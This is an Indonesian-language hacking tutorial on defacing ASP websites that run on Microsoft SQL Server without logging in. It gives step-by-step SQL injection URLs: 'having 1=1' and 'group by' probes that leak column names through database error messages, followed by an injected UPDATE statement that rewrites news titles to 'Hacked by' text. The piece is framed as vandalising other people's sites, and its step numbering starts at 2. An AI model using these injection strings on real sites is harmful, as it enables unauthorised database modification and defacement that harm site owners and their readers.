Deface Web .asp Tanpa Login

2. buka web asp yang mau kamu deface...
misal: http://contohweb.com.my/ViewNews.asp?RefNo=42
3. tambahkan having 1=1 didepannya,,,jadinya= http://www.contohweb.com.my/berita.asp?id=42 having 1=1

4. maka akan muncul error seperti ini:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'News.NsID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/ViewNews.asp, line 8


5. ganti url nya menjadi http://www.contohweb.com.my/berita.asp?id=42 group by News.NsID having 1=1 (perhatikan perubahan url,)

6. akan muncul error berikut:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'News.NsDate' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/ViewNews.asp, line 8


7. ganti url-nya menjadi: http://www.contohweb.com.my/berita.asp?id=42 group by News.NsID,News.NsDate having 1=1 (perhatikan perubahan url)

8. akan muncul error seperti ini:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'News.NsTitle' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.

/ViewNews.asp, line 8


9. nah,dapt tuh column and table nya = nstitle dan news
10. selanjutnya langkah injeksi
11. gunakan url berikut: http://www.contohweb.com.my/berita.asp?id=42 update news set NsTitle='Hacked by namakamu';--
12. refresh,jadi deh,... 

 Created By Mhiman HNc